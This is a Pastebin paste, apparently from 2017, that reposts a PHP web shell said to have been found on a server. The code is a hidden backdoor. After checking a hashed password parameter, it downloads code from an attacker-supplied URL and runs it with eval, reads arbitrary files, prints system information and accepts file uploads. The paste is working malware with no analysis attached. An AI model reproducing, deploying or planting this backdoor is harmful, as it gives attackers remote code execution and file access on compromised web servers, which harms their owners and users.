Advertisement
c4pt41nc0d3

Bot founded with one webshell

Apr 27th, 2017
407
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.64 KB | None | 0 0
  1. <?php
  2.         function getBot($url)
  3.         {
  4.         $header = array("Accept: application/json");
  5.         $ch = curl_init();
  6.         curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
  7.         curl_setopt($ch, CURLOPT_ENCODING, "gzip");
  8.         curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
  9.         curl_setopt($ch, CURLOPT_URL, $url);
  10.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  11.         curl_setopt($ch, CURLOPT_USERAGENT, "iceBot");
  12.         curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  13.         $retValue = curl_exec($ch);
  14.         $response = json_decode(curl_exec($ch));
  15.         $ee       = curl_getinfo($ch);
  16.         if($retValue==""){
  17.                 $retValue = file_get_contents($url);
  18.         }
  19.         return $retValue;
  20.         }
  21.         if(md5(sha1(md5(sha1(@$_REQUEST["pqd"])))) == "a04fa6726b2ecf2ad938d44fbb93908a"){
  22.         if(@$_REQUEST["cmd"]){
  23.         echo @eval(getBot(@$_REQUEST["cmd"]));
  24.         exit();
  25.         }
  26.         if(@$_REQUEST["read"]){
  27.         $file = file_get_contents($_REQUEST["read"]);
  28.         echo $file;
  29.         exit();
  30.         }
  31.         echo "<b>Namesis<br><br>".php_uname()."<br></b>";
  32.         echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
  33.         echo "<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>";
  34.         if( @$_POST["_upl"] == "Upload" ) {     if(@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) { echo "<b>Upload Success !!!</b><br><br>"; }   else { echo "<b>Upload Fail !!!</b><br><br>"; }}
  35.         }else{
  36.         exit();
  37.         }
  38.         ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement